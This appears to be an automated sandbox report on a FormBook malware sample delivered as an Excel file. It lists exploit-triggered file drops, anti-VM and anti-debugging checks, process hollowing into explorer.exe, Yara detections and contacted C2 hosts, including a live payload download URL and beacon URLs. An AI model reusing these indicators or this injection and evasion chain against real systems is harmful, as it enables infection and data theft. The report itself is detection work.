Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Users\Public\vbc.exe File created: C:\Users\user\AppData\Local\Temp\nsvE542.tmp\otav.dll Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file

Boot Survival:

barindex
Drops PE files to the user root directory
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 000000000040899E second address: 00000000004089A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\explorer.exe RDTSC instruction interceptor: First address: 0000000000088604 second address: 000000000008860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\explorer.exe RDTSC instruction interceptor: First address: 000000000008899E second address: 00000000000889A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2848 Thread sleep time: -300000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\explorer.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088D0 rdtsc 5_2_004088D0
Source: C:\Users\Public\vbc.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405250 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_00405250
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C22 FindFirstFileA,FindClose, 4_2_00405C22
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402630 FindFirstFileA, 4_2_00402630
Source: explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.491408805.000000000457A000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.486729602.0000000008374000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0P
Source: explorer.exe, 00000006.00000000.491408805.000000000457A000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.465457023.00000000005F4000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000006.00000000.467565741.000000000029B000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000006.00000000.491408805.000000000457A000.00000004.00000001.sdmp Binary or memory string: idechannel\5&12368b4a&0&7ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0acpi\pnp0a05\5cacpi\pnp0a05\25pciide\idech
Source: explorer.exe, 00000006.00000000.473158769.00000000045D6000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000E2A9 _memset,IsDebuggerPresent, 4_2_1000E2A9
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\Public\vbc.exe Code function: 4_2_10010D8B EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_10010D8B
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405C49 GetModuleHandleA,LoadLibraryA,GetProcAddress, 4_2_00405C49
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\Public\vbc.exe Code function: 4_2_10001000 GetProcessHeap,HeapAlloc,CreateFileW,GetProcessHeap,HeapFree,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection, 4_2_10001000
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088D0 rdtsc 5_2_004088D0
Enables debug privileges
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 5_2_007426F8 mov eax, dword ptr fs:[00000030h] 5_2_007426F8
Source: C:\Windows\SysWOW64\explorer.exe Code function: 7_2_027C26F8 mov eax, dword ptr fs:[00000030h] 7_2_027C26F8
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\vbc.exe Code function: 5_2_00409B40 LdrLoadDll, 5_2_00409B40
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000F215 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 4_2_1000F215

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.yhxt13800.com
Source: C:\Windows\explorer.exe Network Connect: 154.205.233.189 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 156.234.44.48 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.ff4cu6twc.xyz
Source: C:\Windows\explorer.exe Network Connect: 23.225.139.107 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.promtgloan.com
Source: C:\Windows\explorer.exe Domain query: www.clicktoreach.com
Sample uses process hollowing technique
Source: C:\Users\Public\vbc.exe Section unmapped: C:\Windows\SysWOW64\explorer.exe base address: F20000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Thread register set: target process: 1764 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\vbc.exe" Jump to behavior
Source: vbc.exe, 00000005.00000002.527175937.0000000002980000.00000040.00020000.sdmp, vbc.exe, 00000005.00000003.523078790.00000000023C0000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.523696493.00000000026A0000.00000004.00000001.sdmp Binary or memory string: Proxy DesktopProgmanSoftware\Microsoft\Windows\CurrentVersion\RunOnce
Source: vbc.exe, 00000005.00000002.527175937.0000000002980000.00000040.00020000.sdmp, vbc.exe, 00000005.00000003.523078790.00000000023C0000.00000004.00000001.sdmp, vbc.exe, 00000005.00000003.523696493.00000000026A0000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.508092324.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.468666019.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.488027392.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.480164349.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.670498476.0000000001200000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.487883890.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.467436694.0000000000255000.00000004.00000020.sdmp, explorer.exe, 00000006.00000000.480003695.0000000000255000.00000004.00000020.sdmp Binary or memory string: ProgmanG
Source: explorer.exe, 00000006.00000000.508092324.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.468666019.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.488027392.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.480164349.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.670498476.0000000001200000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000006.00000000.508092324.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.468666019.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.488027392.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.480164349.0000000000750000.00000002.00020000.sdmp, explorer.exe, 00000007.00000002.670498476.0000000001200000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000DD84 cpuid 4_2_1000DD84
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040594D GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA, 4_2_0040594D

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 528736 Sample: REMITTANCE ADVICE.xlsx Startdate: 25/11/2021 Architecture: WINDOWS Score: 100 49 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->49 51 Found malware configuration 2->51 53 Malicious sample detected (through community Yara rule) 2->53 55 13 other signatures 2->55 10 EQNEDT32.EXE 12 2->10         started        15 EXCEL.EXE 33 29 2->15         started        process3 dnsIp4 47 192.210.173.90, 49167, 80 AS-COLOCROSSINGUS United States 10->47 35 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 10->35 dropped 37 C:\Users\Public\vbc.exe, PE32 10->37 dropped 73 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->73 17 vbc.exe 17 10->17         started        39 C:\Users\user\...\~$REMITTANCE ADVICE.xlsx, data 15->39 dropped file5 signatures6 process7 file8 33 C:\Users\user\AppData\Local\Temp\...\otav.dll, PE32 17->33 dropped 57 Tries to detect virtualization through RDTSC time measurements 17->57 59 Injects a PE file into a foreign processes 17->59 21 vbc.exe 17->21         started        signatures9 process10 signatures11 61 Modifies the context of a thread in another process (thread injection) 21->61 63 Maps a DLL or memory area into another process 21->63 65 Sample uses process hollowing technique 21->65 67 Queues an APC in another process (thread injection) 21->67 24 explorer.exe 21->24 injected process12 dnsIp13 41 www.clicktoreach.com 156.234.44.48, 49171, 80 XIAOZHIYUN1-AS-APICIDCNETWORKUS Seychelles 24->41 43 www.yhxt13800.com 154.205.233.189, 49169, 80 IKGUL-26484US Seychelles 24->43 45 4 other IPs or domains 24->45 69 System process connects to network (likely due to code injection or exploit) 24->69 71 Performs DNS queries to domains with low reputation 24->71 28 explorer.exe 24->28         started        signatures14 process15 signatures16 75 Modifies the context of a thread in another process (thread injection) 28->75 77 Maps a DLL or memory area into another process 28->77 79 Tries to detect virtualization through RDTSC time measurements 28->79 31 cmd.exe 28->31         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
192.210.173.90
 unknown United States
36352 AS-COLOCROSSINGUS true
154.205.233.189
 www.yhxt13800.com Seychelles
26484 IKGUL-26484US true
156.234.44.48
 www.clicktoreach.com Seychelles
136800 XIAOZHIYUN1-AS-APICIDCNETWORKUS true
23.225.139.107
 ff4cu6twc.xyz United States
40065 CNSERVERSUS true
34.102.136.180
 promtgloan.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
ff4cu6twc.xyz 23.225.139.107 true
www.yhxt13800.com 154.205.233.189 true
promtgloan.com 34.102.136.180 true
www.clicktoreach.com 156.234.44.48 true
www.promtgloan.com unknown unknown
www.ff4cu6twc.xyz unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://192.210.173.90/70007/vbc.exe true
  • Avira URL Cloud: malware
 unknown
www.ff4cu6twc.xyz/m07f/ true
  • Avira URL Cloud: phishing
 low
http://www.clicktoreach.com/m07f/?8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6jie/kGfA2Y9msKDFCRQxq0nA== true
  • Avira URL Cloud: safe
 unknown
http://www.yhxt13800.com/m07f/?8pM=dna2QeGax28GSJkNz7Uka6j7mpWTPT6ewM6loPSgIzIWFgZfz42ON2JlykoAty+SKeMdPQ==&8p=5jRPexjhYVA true
  • Avira URL Cloud: safe
 unknown
http://www.promtgloan.com/m07f/?8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAli8IWZTeVSsZcSnfT9NsehECm7QI2Avboj8F2o4ZiYCfg8g2yKAcw== false
  • Avira URL Cloud: safe
 unknown